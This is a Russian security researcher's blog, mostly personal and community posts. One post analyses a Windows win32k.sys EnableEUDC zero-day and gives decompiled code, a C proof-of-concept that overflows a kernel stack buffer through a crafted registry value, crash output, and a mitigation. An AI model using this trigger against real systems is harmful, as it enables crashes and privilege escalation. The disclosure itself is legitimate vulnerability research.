You are viewing [info]cr4sh_0x48k's journal

Request

Feb. 6th, 2012 | 05:43 pm

Дорогие френды, а есть у кого-нибудь ноутбук линейки ThinkPad на чипсете Q67 с имеющимся в наличии и работающим TPM модулем? Поделитесь со мной дампом BIOS.

Дело в том, что в РФ данные ноутбуки поставляются с отключенными TPM и AES-NI в связи с некоторыми законодательными заморочками. И если AES-NI включается достаточно тривиальным патчем одного из UEFI модулей и перепрошивкой -- то с включением TPM ситуация совершенно мутная, что и хотелось бы исправить собственными силами.

Link | Leave a comment {8} | Add to Memories | Share

Ненужное железо

Jul. 18th, 2011 | 02:21 am


Первому Московскому Хакспейсу (публичный анонс скоро будет) для внутренних нужд требуется старый системный блок, который мы будем рады принять в дар бесплатно, или за небольшую символическую плату.

Основные требования к железу следующие: 100Mb Ethernet, SATA, USB 2.0, CPU и RAM - достаточные для нормальной работы WEB и Samba сервера под каким-нибудь не самым древним *BSD.
Наличие жесткого диска и приводов не обязательно.
Самовывоз гарантируем.

Желающие осчастливить нас могут писать свои контакты на почту cr4sh0@gmail.com или прямо в комментарии данного поста (они скрываются).

Спасибо.

Link | Leave a comment | Add to Memories | Share

Объявление

Dec. 14th, 2010 | 03:14 pm



С настоящего момента данный блог прекращает свою работу в связи с переездом.

Важные и значимые посты будут по-прежнему публиковаться в блоге eSageLab, а различные технические заметки - в новом блоге на Blogspot-е (добавляйте адрес в свои RSS агрегаторы). В новый блог были перенесены некоторые старые посты, дабы его проиндексировали поисковики, в скором времени ожидайте публикации интересных материалов на уже известные вам темы.

Удаление LJ-аккаунта пока что не планируется. Возможно, он будет использоваться мной для постинга каких-то реквестов или объявлений.

Спасибо за внимание.

Link | Leave a comment {4} | Add to Memories | Share

Обновление программы IOCTL Fuzzer

Dec. 13th, 2010 | 03:42 pm

Мы выпустили глобальное обновление IOCTL Fuzzer-а - программы для автоматического выявления уязвимостей в драйверах режима ядра при обработке IOCTL запросов. Подробности работы с данной программой рассматривались в статье Уязвимости в драйверах режима ядра для Windows.

В текущей версии фаззера присутствуют следующие нововведения:

  • Поддержка Windows 7

  • Полная поддержка 64-х разрядных версий Windows

  • Мониторинг исключений

  • Режим "честного фаззинга" (отправка IOCTL запросов из контекста процесса фаззера)

  • Разные режимы генерации некорректных данных для фаззинга

  • Возможность запуска фаззинга/мониторинга на начальных этапах загрузки операционной системы

Подробное описание нововведений в блоге eSage Lab

Страница программы на Google Code
Файл README.TXT

Link | Leave a comment | Add to Memories | Share

Security flaws in AV products

Nov. 30th, 2010 | 02:35 pm

Вот очередная специальная ссылка, которую можно постить в идиотские обсуждения на тему "какой антивирус лучше".

Одна из демок с выступления Алисы на InfoSecurity 2010 (повышение привилегий через 0day уязвимость в последнем ZoneAlarm Extreme Security с последующим отключением защиты):

Local privilege escalation via ZoneAlarm from eSage Lab on Vimeo.



По ссылке выше есть ещё два видео.

Link | Leave a comment {7} | Add to Memories | Share

Новая уязвимость в ядре Windows

Nov. 26th, 2010 | 11:32 pm

Репост из блога eSage Lab

В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.

Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.

В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):
BOOL EnableEUDC(
  BOOL fEnableEUDC
);

Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_page>. Для получения значения параметра реестра в коде win32k.sys используется функция RtlQueryRegistryValues():
NTSTATUS RtlQueryRegistryValues(
  __in      ULONG RelativeTo,
  __in      PCWSTR Path,
  __inout   PRTL_QUERY_REGISTRY_TABLE QueryTable,
  __in_opt  PVOID Context,
  __in_opt  PVOID Environment
);

В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:
typedef struct _RTL_QUERY_REGISTRY_TABLE {
    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
    ULONG Flags;
    PWSTR Name;
    PVOID EntryContext;
    ULONG DefaultType;
    PVOID DefaultData;
    ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;

Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:
 1 signed int __stdcall sub_BF892113(wchar_t *a1, unsigned __int16 a2)
 2 {
 3   DestinationString.Buffer = (PWSTR)&v11;
 4   KeyHandle = 0;
 5   v9 = 0;
 6   v7 = 0;
 7   v11 = 0;
 8   SourceString = 0;
 9   DestinationString.Length = 0;
10   DestinationString.MaximumLength = 0x208u;
11 
12   // получение имени ключа
13   v4 = _get_EUDC_key_name(0x208u, &SourceString);
14   if (v4 >= 0)
15   {
16     // проверка существования ключа
17     if (_check_for_key_exists(&SourceString, &KeyHandle, &v9, (int)&v7) && v7)
18     {
19       SharedQueryTable.EntryContext = &DestinationString;
20       SharedQueryTable.QueryRoutine = 0;
21       SharedQueryTable.Flags = RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_REGISTRY_DIRECT;
22       SharedQueryTable.Name = L"SystemDefaultEUDCFont";
23       SharedQueryTable.DefaultType = 0;
24       SharedQueryTable.DefaultData = 0;
25       SharedQueryTable.DefaultLength = 0;
26       dword_BF9A6444 = 0;
27       dword_BF9A6448 = 0;
28       dword_BF9A644C = 0;
29 
30       // получение значения параметра SystemDefaultEUDCFont
31       v4 = RtlQueryRegistryValues(0, &SourceString, &SharedQueryTable, 0, 0);
32     }
33     else
34     {
35       v4 = STATUS_SUCCESS;
36     }
37   }
38 
39   // skipped
40 
41   return 1;
42 }

Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.

PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:
 1 #define EUDC_FONT_VAL "SystemDefaultEUDCFont"
 2 
 3 int _tmain(int argc, _TCHAR* argv[])
 4 {
 5     HKEY hKey;
 6     char szKeyName[MAX_PATH], Buff[0x600];
 7 
 8     sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());
 9 
10     // создание ключа реестра
11     LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
12     if (Code != ERROR_SUCCESS)
13     {
14         printf("ERROR: RegCreateKey() fails with status %d\n", Code);
15         return -1;
16     }
17 
18     // удаление старого параметра
19     RegDeleteValue(hKey, EUDC_FONT_VAL);
20 
21     // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY
22     FillMemory(Buff, sizeof(Buff), 'A');
23     Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
24 
25     RegCloseKey(hKey);
26 
27     if (Code != ERROR_SUCCESS)
28     {
29         printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
30         return -1;
31     }
32 
33     // вызов уязвимой функции
34     EnableEUDC(TRUE);
35 
36     return 0;
37 }

В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:
kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141
e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca
e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73

Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.

Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:

  1. Войти в систему под учётной записью администратора.

  2. Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> - идентификатор ограниченной учётной записи).

  3. Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.



Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.

Link | Leave a comment {4} | Add to Memories | Share

R.I.P

Nov. 25th, 2010 | 06:13 pm

27 Feb. 1955 – 24 Nov. 2010

Link | Leave a comment {4} | Add to Memories | Share

CC'2010

Aug. 26th, 2010 | 02:26 pm



В эти выходные я собрался посетить фестиваль Chaos Constructions, в связи с чем ищу:

- Кого-нибудь, со свободным человекоместом в машине, кто в ближайшие дни будет ехать из Москвы в Петербург. Могу предоставить часть денег за бензин или как договоримся.

- Человека (или группу людей) которые составили бы мне компанию в посещении семинаров.

e-mail для связи: cr4sh0@gmail.com
Jabber: cr4sh@jabber.ru

Комментарии скрываются.
Tags: ,

Link | Leave a comment | Add to Memories | Share

NO BUNKUM №3 is here!

Aug. 4th, 2010 | 06:41 pm

Мы наконец-то выпустили долгожданный третий номер журнала NO BUNKUM, выходу которого предшествовали некоторые задержки и откладывания. Однако по моему скромному мнению, состоящий из пяти статей новый номер (четыре из них были написаны членами команды eSage Lab) получился более чем удачным, и по уровню качества материала существенно превосходит первых два.

Одна из самых "громких" статей номера - "TDSS: полное раскрытие", которая, не смотря на название, не является очередной унылой публикацией на тему уже надоевшего всем ботнета TDL3. В этой статье рассказывается о том, как мы с Андреем Рассохиным порутали С&C сервера TDL3 в конце зимы 2009-го. Пожалуй, это одна из единственных публикаций (появлявшихся когда-либо в широком доступе), в которой подробные детали функционирования ботнета, входящего в число одного из самых больших в мире, были бы раскрыты "изнутри".

В номере присутствуют и другие не менее интересные материалы:

  • Дмитрий Андриянков - "Некоторые приёмы статического анализа кода из арсенала вирусного аналитика"

  • Андрей Рассохин - "Анализ и лечение классических вирусов"

  • Дмитрий Олексюк - "Буткиты: новый виток развития" (ещё одна моя статья)

  • Алиса Шевченко - "Атаки на банковские системы"


Третий номер доступен к просмотру на сайте журнала. Предугадывая стандартный вопрос: PDF-версий журнала и/или отдельных статей в ближайшем будущем не планируется, но это, в свою очередь, не означает что их никогда не будет в принципе.
Для обсуждения статей создано ЖЖ-сообщество [info]nobunkum_ru - какие-либо комментарии более предпочтительно писать именно в него.

Информация для авторов
Начиная с этого номера было решено отказаться от чёткого разграничения отдельных выпусков по фиксированным тематическим рамкам. Это значит, что теперь любые материалы (которые подходят под тематику журнала в принципе) могут быть опубликованы в последующих номерах без каких-либо ограничений. Связь с редакцией: journal@nobunkum.ru
Tags:

Link | Leave a comment {11} | Add to Memories | Share

Fuckup

Jul. 28th, 2010 | 10:17 pm

Инженеры компании NAD Electronics, проектировавшие мой усилитель - просто замечательные люди. Благодаря термопредохранителю, заботливо спрятанному рядом с витками первичной обмотки трансформатора ждущего режима, мне не пришлось этот самый трансформатор перематывать.
Ну а дегенератам-монтажникам, из-за ошибки которых в бытовую электросеть попало больше 300V переменки - лучи ненависти. Инцидент, помимо мёртвого (сейчас уже починенного) усилителя, ознаменовался так же несколькими сгоревшими лампочками и блоками питания. Компы, к счастью, были выключены.
Tags:

Link | Leave a comment {2} | Add to Memories | Share